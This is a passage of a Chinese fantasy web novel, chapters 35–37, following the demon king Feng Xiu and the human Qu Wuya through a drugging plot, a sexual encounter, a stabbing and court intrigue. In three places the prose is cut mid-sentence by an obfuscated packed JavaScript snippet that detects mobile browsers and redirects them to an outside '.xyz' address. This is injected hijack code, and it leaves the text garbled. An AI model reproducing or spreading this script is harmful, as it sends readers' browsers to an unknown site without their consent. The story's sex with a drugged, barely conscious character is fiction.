“来嘛,姐姐亲一口。” 早听闻妖族女子热情奔放,瞿无涯且战且退,还是被女妖们按住在左脸上印了两个口脂印。 “好了好了,你们别逗他了。”乐萱帮他解围。 虽说女妖们热情,但却不含旖旎的意味在,单纯在逗弄瞿无涯。这很奇怪,不对么? 瞿无涯被女妖喂着酒,人族讲究礼仪,发乎情止乎礼,但一男一女无须亲密都容易生出暧昧晦涩的氛围。而妖族坦荡至此,却意外地呈现出纯粹明朗。 讲亲不讲情,说欲不说爱,过口不过心。时至今日,他才渐渐琢磨出人和妖的那点观念差异。 女妖们闹够了便散去,乐萱同好友在一旁说笑。妖王在大殿之上举着白玉瓷杯,瞿无涯遥遥地望着他,丝毫没注意旁边的酒杯闪过一道红光。 他拿起酒杯,抿了一口。 35.第 35 章 “成了!” 天瑞兴奋道:“等着看那小子出丑吧。” “不是喜欢在女妖面前显摆他那张脸吗?”正翼哈哈大笑,“等会有他好看的!” 天瑞目光转向飞獐:“这药啥时候发作?确定是真的吗?” “至多半个时辰。”飞獐自信道,“那当然是真的,我是花了好大功夫才能弄来这个一春欢,就算是个死人都能发情。” 比之以往宫宴不同的是,妖王很快就离席了。乐萱看着妖王的背影,道:“奇怪,今日走得也太早了。” 换作平时,瞿无涯肯定要腹诽几句凤休。可现在,他浑身发烫,头晕目眩,燥意难忍。 好想......他聚出灵刃划破手掌。 不行,不能再待下去。他可不想大庭广众之下宣淫。趁还有理智,他往殿外走去。 要离开这里,找一个没人的地方。 冷水。对,他要跳进锦鲤池中。 不光妖族,人族也关注凤休的动向。女子长发编成数股小辫子披散着,些许放置于前肩,碧色的裙纱上绣着花草,最引人注目的是头上珠钗上镶着一块绿宝石,成色和大小都十分罕见。 诸眉人同她的父亲诸文义使眼色,道:“女儿觉得,那妖王有些不对劲。” 诸文义两鬓有几缕白发,面容却趋近于青年人的模样,和诸眉人在一起说是年纪相差较大的兄妹也不为过。 “确实有古怪,他气色不对,有些像中毒,这次王都大会有好戏看了。” 众妖君也心思各异,诸眉人轻轻咬一口点心,除了这沉迷用膳的蚀渊妖君。 这点心真是连人界摊贩上的都不如,听说从前王都大会时还有让使者吃生肉的,这么一想,比起从前还是要好一些。 历经丧女之痛的魇瞳妖君看着也并没有多悲伤,还和其他妖君在说笑,她心中不屑,目光看向殿外。 外头比殿内的演奏有意思多了,可惜这是在妖界,她只能老老实实地待在父亲旁边。没有朋友真无聊,王都大会快些开始吧,她等着看热闹呢。 蛊发只能压制,煎熬也是换一种方式煎熬,凤休额上溢出冷汗,滑过眼角。锥心刺骨之痛,莫过于此,他闭眼在寒风中打坐,周围没有灯光,唯有绿植幽幽发亮,照出一条青石路。 从人界回来,凤休有了一个新嗜好,便是坐在大石头上。而压制蛊,寒冷的环境也会更有利。这大石头也不是普通的石头,是一块晶莹剔透的北州冰石,森森寒气萦绕,有几块梅花花瓣散落其上。 这可比消魂钉要痛。凤休有些不悦。 眼角划出液体,他睁开眼睛,这不是泪水,而是血。最初是嘴,如今眼睛也开始流血,大概他最后会七窍流血而死。 哪来的铃铛声?凤休顺着声音看向青石路的尽头,一道模糊的身影摇摇晃晃地走来。 懒得说话,他用了妖族的威压,想警示对方离开。 但那道身影依然朝他走来。 人族?王宫的奴隶吗?凤休没感到威胁,对方修为不高,不像是西州使者。 铃铛声逐渐变大,荧绿的光照在那人身上,那人扶着藤蔓,停下脚步,一时间万籁俱寂。凤休两行血泪凝固在脸上,映着赤色的瞳孔,极为冷峻暗沉的相貌又添几分妖异,墨发如瀑垂在石头上,静静地看着那人。 那人抬起头,似是看见凤休,又似没看见,目光涣散,左手抓着藤蔓,天青色的袖口滑下,露出白玉一般质地的手臂,铃铛组成的银链圈着手腕。银光闪闪的抹额,几乎垂到肩上的耳坠,两鬓各一缕用蓝绳穿插编织的辫子,脸上还有可疑的口脂印,配上一双多情的桃花眼,眼尾飞红,活脱脱的风流公子模样。 他把垂下的绛色发带扔到脑后,茫然地看着凤休。凤休坐在冰石上,眉眼几乎寒出霜花,心却被烫得火红,好似低温焰火,沉郁的玄袍不再显得冷淡克制,而似长枪划过天空将要击中猎物的轨迹。 失忆的自己,也没有那么难理解。凤休凝视着意外出现的瞿无涯,若这是人族的计策,那人族成功了。 回想这段时日的克制,毒性不疏反堵,功力被限制,还是王都大会这等关键的时刻,或许他可以转变观念。 瞿无涯感知到凉意,他踉跄地走到冰石旁,扒着冰石,双膝跪在泥土上,阵阵寒意让他有了一些意识。旁边有人,是谁?他伏在石头上的脑袋一歪,右脸贴着石块,模糊地看见玄色衣摆。 凤休居高临下地看着他,经脉痛得近乎发酸,回忆毕生所见过的美人,确认自己并不是见色起意。原来不是自控力的问题,那是为什么?他伸手去擦瞿无涯脸上的口脂印,倒成了腮红。 谁的手?好舒服,瞿无涯下意识地用脸去蹭凤休的手掌心。凤休手一顿,这简直像被顺毛的野禽,他要收回手,却被瞿无涯抓住手臂,顺着这股力道,瞿无涯爬上了石块。 似爬假山一般,瞿无涯缠绕着山峰——凤休,凤休雕像般坐立不动,有些好奇瞿无涯要怎么做。瞿无涯用脸蹭着他的脸,双腿叉开坐在他的腿上,凤休的眼中缓缓流出血。 瞿无涯感受到湿润,他嘴唇因发热而干燥,伸出舌头轻轻舔舐,血并不能解渴。凤休偏过头,两人嘴唇相贴。 亲吻,唇齿相交,黏稠难以消解。凤休心道,从前和瞿无涯接吻更多是取乐,这次却真生出几分亲密之感,莫非是因为经脉日渐酸痛么? 他记得,瞿无涯之前并没有耳洞。碍事的耳坠被取下,垂下的银链相撞发出清脆的声响,被丢在青石路上。然后是抹额,掉在石块旁的泥土中。 还是单薄一些更适合瞿无涯,凤休捏着瞿无涯发红的耳垂,太多花哨的装扮显得累赘。 两条腰带交缠在一块,凤休躺在冰石上,双手摩挲着瞿无涯的蝴蝶骨,侧眼看着那两条腰带,莫名一笑。 月光下,冰石上,藤蔓间,银铃作响。 自回妖界之后,凤休翻出关于婚契的记载,找到方法单方面切断了婚契的感应——此方法名为“分居”。 他倚靠在床头,瞿无涯睡在旁边,被褥遮住大半张脸。比压制毒性来得痛快,看来他之前说瞿无涯做了多余的事有失偏颇。他恢复婚契的感应,外头天已经大亮。 每次熬完蛊发,他都需要服用丹药,看这个时辰,青鸿差不多要送药来了。 昏天黑地的累,这是瞿无涯的第一感受。谁在说话? “今日不用丹药。”凤休懒洋洋地对屏风外的青鸿道。 青鸿:“是。王上,这蛊也不能一直靠压制,属下会尽全力找到解决方法。” “算了吧。”凤休没指望青鸿能做到什么,“等王都大会结束,我会去一趟永劫山取神仙骨。” “可是月晦妖君......” 凤休漫不经心地道:“趁我还有可能胜过她,打一架就是了。她守了几百年的舍利子,也没见瑶光复活,早该放弃。人生如朝露,神仙亦有死,她早该看开的。为了五年守上五百年,难不成还要为此付出生命?” 掌心用灵刃划出的伤口隐隐作痛,瞿无涯睁开眼,看见了一张他梦中千刀万剐的脸。 像在梦中一样,灵刃聚在手中,在他还没去思考当下具体发生什么事之前,灵刃更快地刺入凤休左肩下方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145276|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤休的话语戛然而止:“你去查一下——” 婚契的反噬让瞿无涯喷出一口血,他勾起嘴角:“去死。” 这就是一报还一报?至于这么恨吗,上来就捅刀子。凤休偏头,对上一双清澈而愤怒的眼睛:“你杀不了我。” 年轻的人族因愤恨而面容紧绷,锁骨上还有青青紫紫的痕迹,不知情的人大概会以为是情杀。 王上在和谁说话?青鸿大惊失色,王上的床上有活人?他是误入了什么恐怖话本吗? 而且他没有听错吧,是刀刺入皮肉的声音。 “王上?发生何事了?” “那又怎么样?”瞿无涯手中的灵刃越进一寸,他的头便更痛,随着他的话语,血从嘴角流下。 凤休笑一声:“这么记仇?”雪白的里衣鲜红一块,这点痛楚对他来说连眉头都无需皱。 这是近乎调侃的语气,仿佛大人批判不懂事的孩童,高高在上。瞿无涯狠下力气,又把灵刃推入几分。 “你把通缉令贴满整个人界,论记仇,论狠毒,我比不上你。” 反噬让他痛得发颤,他想起那个寒冷的雪夜,遥幽就那么轻地在他怀中。 死了有点可惜,凤休握住瞿无涯的手腕,将灵刃拔出,道:“我何曾下通缉令了?” 瞿无涯冷笑一声:“是,当然不是您妖王大人亲自下的,何须劳烦您动尊手,自然有属下会帮你办。” “你要是想拔剑,也先把衣服穿好。”凤休看出瞿无涯的意图,“外头有人在。” 至于外头的青鸿,已经听懵了,他是不慎听到王上的感情债了吗?他现在装聋子还来得及吗? “王上,属下先在殿外候着。” 裸着拔剑更丢人还是在这种时刻穿衣服更破坏气氛,瞿无涯惊措地发觉,自己的衣服呢? 凤休一定是知道他衣服不在这,才说这种话。他明明记得昨夜进屋时身上有衣服,这混蛋把他衣服扔哪了——好像是撕烂......罢了不想这个了——他最恨的就是这一点,轻而易举把别人的真心当玩笑,无论是爱的真心还是恨的真心。 他一伸手,屏风旁挂着的绛色外袍就飞到他手中。一个转身,他套好外袍,赤脚站定在地上,取下一旁的腰带系好。 瞿无涯握着剑,往旁边一甩,屏风顺剑意而倒塌,发出剧烈的声响,他剑锋一转指向凤休。 “我早说过了,你要杀便杀,凭你的本领还能找不到我吗?玩这种猫捉老鼠的游戏戏弄人很有意思吗?我不欲与你论对错,也不会向你求因果,今日你不杀我,我便杀你。” 此话一出,往日种种好似过眼烟,剑一挥便消散,瞿无涯心中的气终于顺畅。过程不重要,结果不重要,重要的是剑出鞘,这是他一个人的战斗,与凤休无关。 胆怯、退缩、逃避,他在心中缓慢地过一遍这三个词,万般滋味涌上。 青鸿脚步顿了顿,还是义无反顾地往外走。王上不需要属下多表忠心,需要的是属下识时务。 至此,凤休有两个疑问,第一,为何他们的冲突总是起在这种不合时宜的时候。 第二,瞿无涯穿他的外袍有些大了,衣摆垂在地上有点影响气势,他要是提醒这件事,瞿无涯会不会气得把寝宫砍了。那个屏风,他还挺喜欢的。 但瞿无涯这副生机勃勃的模样,他也挺喜欢的。 “我说,我没有下通缉令。” 凤休一句话不说两遍,也不喜欢解释。 瞿无涯也知晓这一点,所以他顿住了。 凤休推开剑锋,道:“青鸿,去把谲凰叫过来。” 36.第 36 章 “还没找到吗?” 乐萱负手站在窗边,疑惑道:“还真跑了?”之前乌鸦也有机会逃,为何会昨夜挑宫宴逃?难不成是被女妖们吓到了? 辛觅道:“听说王上昨夜宠幸了一个人族。” “什么?”乐萱转身,不可置信地瞪大双眼,“王上吗?怎么可能?” 等一下,那乌鸦一夜未归...... 她惊道:“你的意思是,乌鸦和王上?” 辛觅:“很有可能。上次少主让我带乌鸦去见王上,他表现得十分怪异想推脱,我本以为他是怕王上。如今想来,乌鸦并不是这般胆怯的性子,说不定他们之前认识。” “也对。”乐萱喃喃道,“乌鸦确实也不像一般奴隶。” 谲凰走入殿中,一地狼藉的屏风,旁边站着一个人,王上正倚在床上,冷淡地看着他。 这人是,瞿无涯!谲凰心中一惊,面色惊惶,不知发生了何事,这个人族怎么会出现在王宫? “王上,您有事找我?” 凤休冲瞿无涯一抬下巴:“你要问什么,问他吧。” “我和他有什么关系?”瞿无涯反问,“为何是我质问他?” 伶牙俐齿,凤休看着谲凰,道:“说吧,你做了什么。” 王上不生气吗?这个人族怎么敢这样同王上说话!谲凰跪倒在地,急道:“王上,属下不该擅作主张。” “我不杀伯仁,伯仁却因我而死。”瞿无涯冷眼看着这对君臣,“狗还不是随主人。” 瞿无涯有这么记仇吗,方才不是出过气了?凤休细细回想,道:“你哪来那么大火气?” 凤休的判断并没有错,倘若只有那夜的拔刀相见,瞿无涯确实已经顺过那口气。 看着这副风轻云淡的嘴脸,遥幽可是还昏迷着,瞿无涯不假思索:“我火气大?你清高,你随心所欲,你根本不知道我——” 我为此差点失去一个朋友——不能说,他骤然停顿,浑身一冷,恍然回神,方才凤休在提神仙骨,凤休能取到神仙骨。 他不能再情绪上头,最重要的不是出气,而是救醒遥幽。凤休已不欲取他性命,他也没必要再鱼死网破。若让凤休知晓遥幽受伤,万一凤休派妖查探到遥幽的伤势,推测出他也需要神仙骨,那在此事上对他就会有防备心——或者再起杀心。 他不仅不能再发脾气,还要想办法留在凤休身边,才能接近神仙骨。 “知道你什么?”凤休饶有兴致地道。 瞿无涯声音变低,语速缓慢,有点纠结:“你根本不知道我有多伤心。你是活了几百年的妖王,想有多少暖床的就有多少,几个月对你来说不过是弹指之间。” 逐渐地,他找到状态,用假意说出真心话:“但我是第一次有了家人,你翻脸无情,还不允许我恼吗?我被这破通缉令害得风餐露宿大半月,最后被绑到妖界当奴隶,我不能恼吗?” 简直和打情骂俏一样,谲凰在紧张之余又生出恼怒。 听到这番话,凤休仔细打量瞿无涯,察觉他不止长开了一些,连性情都变大方,不似当初的茫然胆怯。 “你想怎么样?” 很奇怪,瞿无涯狐疑道:“你说这话什么意思?”天下又没有掉下来的馅饼,总不至于睡一个晚上真睡出百日恩。 凤休先没有回答这个问题,而是对谲凰说道:“你立即去焚漠,五十年内不得离开。” “王上,属下甘愿受罚。”谲凰抬头,“可是现下是王都大会的关键时期,属下想为王上——” 凤休打断他:“六十年。” “是,属下领罪。”谲凰磕头,起身往外走去,鲜亮的青衣却显得黯淡。 “等一下。”瞿无涯喊住他,“你不和我道歉吗?我和你无冤无仇,你却通缉我。” 凤休的意思很明显,谲凰的错在自作聪明,可不是错在通缉他。他偏要狐假虎威找谲凰的不痛快,总归他光脚不怕穿鞋的,他谁都打不过就是谁都打不过他。 凤休沉默着,瞿无涯心道果然如此,凤休这么懒,就算没有让谲凰道歉的意思也根本懒得反驳他。 但谲凰没得到凤休的指示,只能不情不愿地道:“对不起,是我做事太鲁莽,通缉令我会撤掉的。” 一个轻轻的道歉,并不能挽回遥幽的伤势,也无法冰释前嫌,瞿无涯知道自己暂时也没能力向谲凰讨说法,只能讨个不痛快了。 他的情绪终于平静下来,凝视谲凰的背影,倘若来日只是一个身影,也要认出这是害遥幽至此的罪魁祸首。 “瞿无涯,我们做个交易。”凤休道,“你帮我解蛊发——” 瞿无涯:“不做。” 他要扮演的是一个心中余怒未消、莽撞冒失的被负人,而为了神仙骨,他要谨慎一些以能留在凤休身边。 要像之前那般,聪明一半傻一半,凤休才不会有警惕心。 “好吧。”凤休欣然妥协,“那不做交易,你被囚禁了。” “你不讲道理!”瞿无涯瞪着双眼,“我不会屈服的,你有本事就——” 凤休打断他:“废话就不必多说。” 妖的做法也太粗俗。瞿无涯憋着一口气,道:“你不是很抵触我这种人族吗?为什么突然说这种话?” 本来是想演戏,但不禁真情流露了。 那夜实在是心情糟糕,这就是为何他不喜大动情绪,凤休微笑着和那双几乎瞪成圆眼的桃花眼对视,道:“我改变主意了,与其找一个可能别有用心的人在身边,不如留下知根知底的你。” 行事果断并不代表凤休多坚定自我,而是懒得思考,做事随意。正如瞿无涯当初所说,杀与不杀对凤休来说都是一样的,凤休没有那么多强烈的情绪去坚定选择。 许多想法都是一念之间,大多数人不会把这种想法付诸行动,和能力有关和犹豫有关。而凤休不一样,他强大且果断,许多人无法承担的后果,对他不过尔尔。 凤休从来不做噩梦。就算他错杀瞿无涯,也不会有鬼入梦来。 养一个人族,似乎也挺有意思的。 你就知道我无所求了?果然方才隐瞒遥幽的事是对的,若凤休知晓他要神仙骨,定不会留他在身边。 瞿无涯佯装无奈道:“好吧,我们还是做回交易。” 凤休:“你想要什么?” “我如今是在萱少主手下做事,你不能囚禁我,我需要人身自由。”瞿无涯收起四海剑,“以及,我需要了解婚契。” 必须搞清楚他和凤休间的联系到什么地步,不能再这么被动地等待命运降临的瞬间。 凤休的手上浮现一本灵书,道:“你拿去看。至于乐萱那,随便你,再待下去,天良宫都得被你拆掉。” 他意有所指地看着地上碎裂的屏风。 要是一般情况,瞿无涯肯定就愧疚道歉了,但对凤休没什么抱歉的必要。泄了气后,身体的疲倦才涌上来,昨日是怎么回事?他被人暗算了? 想也不用想,他在妖界得罪过的无非那几个妖,他打了一个哈欠,总不至于真有谁昨日见他一面就起色心干这种事吧,他又不是什么狐狸精,而且还没能得逞。 都怪那块石头。那块石头寒气太重了,他纯靠本能地去想靠近那块石头。也有可能是婚契的作用吗?总不能是巧合吧。 瞿无涯接过书,坐回床上,缩进被窝里,准备睡回笼觉,背对凤休侧身躺着。 凤休竟然随身带着婚契的灵书,看来这婚契对他的困扰也不小。 就当养了只鸟雀,凤休本没打算管他,但下床才反应过来,道:“无涯,你穿了我的衣服。” “你难道只有这一件衣服吗?”瞿无涯下意识抓紧衣领,生怕这人就要扒自己衣服。凤休当然不会缺衣服穿,但可能会恶趣味。 自己难道是流氓吗?没做流氓的事却被当流氓对待,还不如坐实这个身份。好吧,其实昨夜坐实过了,凤休想起昨夜瞿无涯的穿着,不知怎的,想起在苍阳山的那个夜晚,问道:“你昨日穿那么单薄,冷吗?” 若是从前,自然会冷,但修行之人又怎会怕天寒,瞿无涯摸不准凤休突如其来的关心是什么意思,黄鼠狼给鸡拜年吗?他谨慎道:“萱少主说,我适合穿得少一点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170914|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等一下,这话好像有歧义,瞿无涯又连忙道:“她的意思是,我穿得太厚有点像冰糖葫芦,竹签上挂着球。” 少年人的身体清瘦修长,就像拔长的竹竿抽条见骨,薄薄的一层肉,没有力量却充满生机。轻薄的布裹在身上,袖口灌满风就可见那点清癯。 凤休也觉得瞿无涯适合“穿得少一点”,道:“乐萱眼光一直不错。” 喜欢叛徒刹罗的眼光也不错吗?瞿无涯在心里呛凤休,道:“确实比我眼光好。” 凤休默不作声地觑着他,他抓紧被子,警惕地回望。可凤休却道:“青鸿,把药给他。” 瞿无涯双目炯炯有神:“什么药?” 凤休有点无语,道:“你被反噬了,内脏不痛吗?” 哦,好像是有点。瞿无涯的注意力没在伤势上,凤休这么一说,那点迟来的钝痛翻涌而上。 之前他想对瞿无涯动手,感受到阻力很快就放弃,婚契只是小小地警告了他。凤休轻笑,挺有意思,瞿无涯是多想杀他,那道灵刃才能让他见血。 也是,以前多乖的性子,现在说话句句都带刺。 “你是说,王上身边有一个人族?” 说话的正是丽化,她同其他两位长老正各坐于座上。尽管丽化不再年轻,容貌和周身气质都被漫长的岁月侵蚀,但仍然能看出她年轻时的风华绝代。 她的手上带着两个红宝石戒,头上也琳琅满目地插着珠宝凤钗,比起其他二位长老更显雍容华丽。当然,丽化确实比他们要更富庶,因为她是掌管户籍财经,主要是财经。妖野蛮生长惯了,普遍没有登记户籍的习惯。 草木类的妖,并不像禽类那般普遍繁殖后代,再孕育后代。它们通常是汲取天地灵气成妖,化为人形后也清心寡欲,繁殖率很低。大部分草木类的妖化形后也不会去登记户籍,妖的初始武力比人族强,不好管教且黑户也限制不了太多,毕竟大约有一半妖都是黑户。 “是的,不知是哪来的人族。似乎并不是西州使者带来的人族,也许是王宫的奴隶?” 阳朔闻言,摸摸长长的胡子,慈眉善目,乍一看真不似妖族长老,还是掌管刑罚的长老,道:“这有意思了,去查。凤休这小子,几百年来,我从未听过他养过情人。竟不知是什么人让他破例了。” “是,卑职立刻去查。” 昊空则是主管妖力资源,比如军籍晋升。他一脸严肃,若有所思,道:“会不会是因为七情蛊,要知道,凤休虽能压制毒性,但势必会实力受损。这次王都大会,他绝不想因伤而将妖王之位拱手相让。” “我以为凭他的性格,不会因为七情蛊屈服。”丽化沉吟道,“难不成,他在外清修几十年,真转了性?” “且他修为究竟跌到什么地步,我们也还不知晓。”阳朔接话,“三日后便是王都大会,届时,虺殇与他交手,我已经交代过,更重要的是要试探出他的实力。” 丽化面有郁色,道:“而且他没有杀掉刹罗,这太不符合他的作风了。难不成,他还指望能从刹罗那得到什么情报?” “种七情蛊的事是乌山一手设计的,我们可没有插手,刹罗怎么也指认不到我们身上。”阳朔语气笃定,“他就算怀疑我们,也没有证据。” 昊空看向丽化,问道:“翳期那边有消息了吗?” 翳期是鼠妖,是妖中难得子息众多的族群,因而分布甚广,以探知情报的能力稳固妖君位置。她和魇瞳都是效忠于丽化,昊空不能越过丽化去命令翳期。 “没有。左右不过是人族的事,你着急什么?”丽化轻蔑地笑,“他们寻不到的人,还要找妖族相助,我们有什么义务帮助?” “之前是认为凤休要处死刹罗,这颗棋子自然没有用了。”昊空严肃的神情缓解,露出一个意味不明的笑容,“但如今,乌山有别的打算。” 听完昊空的解释,丽化迟疑道:“可是,乌山联系不上的棋子,难道不代表已经无法操控了吗?” 昊空摇摇头,道:“这我不清楚,但乌山还在寻,证明他们有办法转圜,你尽管让翳期抓紧找便是了。” 37.第 37 章 这一觉,瞿无涯睡得昏天黑地。并不是说,他多有安全感可以睡死,而是本心安定。任他东西南北风,见招拆招。 梦中,他回到碧落村。左右都是熟悉的建筑,他往山上跑去,推开遥幽的院门。 “遥幽!遥幽!” 他左顾右盼,却没看见人影。房间里被打扫得很干净,遥幽就躺在床上,双手置于胸前。 瞿无涯顿住脚步,对,遥幽一定是睡着了,自己大喊大叫吵醒他,他会生气的。 不能过去,不要吵醒遥幽,让他好好休息。 他静静地看着遥幽,不知不觉眼角湿润。 瞿无涯摸着眼角的泪,醒过来,迟钝地掀开帐幔,穿鞋,行走。前方有一个书桌,他无意识地走过去,脑子里全是方才的梦。自己已经许久没有再梦见碧落村,软弱、悲伤、愤怒,碧落村不再是柔软的故乡,而是尖锐的石子,拿着刺手却无法割舍。 等心情缓和,他才注意到书桌上的画像。 这是泉露! 瞿无涯彻底醒神,大惊失色,却不完全是因为看见熟人,而是一旁的折子上详细记录着泉露的来历。 泉露,本名乌幼离,西州乌山人氏,相貌迭丽,善蛊、善隐匿行踪,常年为乌山行暗杀之事,从未失手...... “知道这一切都是一场阴谋,你心情如何?”凤休手中捏着一个眼球,施以法术,旁边凭空出现的画面正是眼球最后的记忆,“蠢货。” 记忆反复着展现,刹罗盯着画面中的泉露,那是他从未见过的泉露,撇去柔弱含情,美丽竟成了利刃。眼球的主人是泉露的任务对象,展现的记忆也是美人含刀淬毒。 凤休徐徐道:“你以为的山盟海誓,为此付出的代价,都是乌山下的一盘大棋罢了。泉露是乌山的人,就算你不背叛我,她也不会出事。” 这些都是废话,凤休寻常是懒得说这种话,但此刻他是来嘲笑刹罗的。他和刹罗相识数百年,从未想过刹罗会有为感情所困的时刻。 当年与人族开战时,在残暴方面有赫赫威名是刹罗,而不是他。他手上的人族亡魂可没有刹罗手上的多。 凤休能理解动情,饱暖思淫.欲,妖界安稳这么多年,刹罗生出几分风情月意也很正常。但为此昏了头,就另当别论。 “原来是这样。”刹罗喃喃道,竟然有些释然地笑,“难怪她经常不开心......” 要是之前,他大约会气恼愤怒,但他如今心存死志。他背叛了凤休,自有取死之道,而将死时的心气总是低迷的。 “......你需要看医师了。”凤休也不恼火,只是有点疑惑,“你有想过血月州的以后吗?我有时也奇怪自己是怎么忍下你们这群蠢货的,刹罗,你多少岁了。” “以前,你只懂战斗,对旁的事物毫不关心。那时我担忧你会吃亏,好在你的修为还算尽人意。如今看来,还真不如无知一些。你不在意妖界,那血月州呢?那都是你的子民,你有想过血月州没有你后,那的妖众会被其他地方的妖轻视吗?” 刹罗避开和凤休的对视,道:“抱歉,可是我无法控制自己的感情。” “你早些年跟我说,你没有雄心壮志,你只想过闲云野鹤的妖怪生活,我也懒得收你在麾下,费这些精力了。”凤休淡淡道,“我许给你血月州,你把这当什么了?奖赏恩赐?” “我知道这是你信任我。”刹罗叹气,“你要是早些年同我说,我会为了一个女子做到这种地步,我也是不会信的。” 凤休收起眼珠,轻轻以捏,化为飞灰,道:“你要是想过平凡的日子,找相爱的女子共度一生,上演一场倾城之恋,就下辈子投个好胎去折腾。” “她还没死,对吗?”刹罗问道,“所以我才能活到现在。” 凤休说不上失望,只不太想说话了,道:“想她了?我会尽快让你们再见一面的。”时至今日,他已经不似当初那般动怒,也懒得疑惑,只是在斟酌若不杀刹罗,那这件事该如何收场? 就算刹罗如今幡然悔悟,他也不想再用刹罗。要不然,再加四根消魂钉? “凤休,等你动了真心的那一天,你会理解我的。”刹罗靠在石墙上,嗓音嘶哑,“休,我们并肩作战多年,曾经我以为胜利就是唯一的意义,而你认为胜利是达到目的的手段。” “我们很少交谈,因为我们目的一致,那就是胜利。我本以为这是默契,但不是的,我不善于吐露内心想法,而你是不屑于。其实你没有那么了解我,我也没多了解你,对吧,休?” 刹罗很少一次性说这么长的话,他确实不善于表达,因而说得极其缓慢,又停顿好一会,才道:“我没想背叛你,我只是不能看着她死。你一向认为过程不重要,可能也会在心里骂我蠢,你没做过蠢事,但——” 凤休打断他:“不会有那么一天的。” 望着凤休远去的背影,刹罗单手按着额头,想起很多年前在血月州,面对围剿,他和凤休背对背迎战,打斗声、嘶吼声响彻草原。 青草地被血浸得深一块,风中充斥着血腥味,凤休持长枪抵在地上,脸上灰土血混杂,脏野不堪。年轻的凤休还没如今这么威严深沉,赢了便畅快地笑,不似平时那般就算笑也含着冷。 那时的妖界很乱,以武力为尊,他们一同从血月州杀到王都,推翻了妖王的统治,而凤休也变得越来越沉默。 和凤休相识数百年,他们都一样果断、寡言,不被感情所绊。只不过所求不同,他渴望战斗,想要的是称霸一方,而凤休想要的是平定妖界。 因而凤休执掌妖界,他坐镇血月州,随之而来的是寂寞。他活了数百年,到头来,最交心的是相识三年的泉露。在此之前,他从未意识到自己也会有软弱、脆弱的时刻,那些曾经不屑一顾的词语和感情。 王上心情不太好,青鸿看得出,于是降低存在感跟在后面。 不知道新养的小鸟睡醒没,凤休想起瞿无涯,又来了点兴趣,往天良宫走去。 王上心情缓和了,青鸿默默观察,王上这次回来后心思越难猜了,可能是被刹罗背叛的事影响心情。 寝殿的瞿无涯似主人一般大大方方地坐在书桌前,翻看上面的文书。凤休挑眉,几个月没见,胆子是越来越大了。 “瞿无涯,昨日谁给你下的药?” 这一切就解释得通了,泉露能躲过通缉,能闻出神仙丸的成分。 瞿无涯放下泉露的画像,道:“不知道。”懒得同凤休说这种事,又不光彩,说出来还和告状似的。 但凤休怎么会关心这个,他都不关心自己是怎么来妖界的。 凤休似笑非笑:“还在生气?” 哦,原来是想逗他,谁又惹凤休了?凤休若不是心情有起伏,是不会问他这件事来取乐的。 若说之前的胆子大是因破罐破摔,对凤休拔过剑后,瞿无涯心中释然,心态也平和起来。总归他还是寄人篱下,还是识趣一点。 他每次都这样想,但会不会气上头又是另一回事了。 “没有,真不知道。” 凤休坐到瞿无涯身旁,问道:“你认识她吗?” 乌木座椅并不狭小,但终究是一人座,显得拥挤,两人相贴部分紧紧连接着。 “我怎么会认识西州人?” 瞿无涯左臂发冷,是凤休从外带来的森森寒气,他用右手搓了一下左臂,恍然间生出痛感,仿佛伤疤还未痊愈。 “你觉得她怎么样?”凤休自认不被被美色所惑,很好奇在寻常人眼中的泉露是否极具魅力。 瞿无涯组织了一下语言,道:“她很美,而且是很温和的美,容易让人放下戒心。” “美么。”凤休品味了一下,“你喜欢长得美的吗?”果然大部分人对泉露的第一印象都是美貌。 “莫要以相貌论人。”瞿无涯不太赞同,“美色即是色心,色心太重未免形容猥琐。人贵在善心,刹罗妖君喜欢她,也不可能只是为了美色。” 真惊悚,前几个时辰他们还在单方面拔刀,如今却像寻常关系一般闲聊。 “你认为,若我抓住泉露,该怎么做才能让刹罗痛不欲生呢?”凤休卷起画像,放在一旁,“当着刹罗的面把泉露千刀万剐?” 瞿无涯听得毛骨悚然,道:“我可不懂折磨人的事,别问我。”固然站在凤休的角度,凤休有报复的理由,但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196393|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又和这件事无关,可不能共情仇恨。 仇恨?凤休真的有在仇恨吗? 凤休:“要不然还是直接把他们杀了,做一对亡命鸳鸯,算不算奖励他们?” “你真的恨刹罗吗?”瞿无涯疑惑道,“你若是真有恨,怎么会不懂怎么报复他?”他恨凤休的时候,日日夜夜都做着杀凤休的梦。 凤休“唔”一声,道:“恨不至于,一开始有些恼火和失望,如今已经接受事实,但不代表事情结束。” 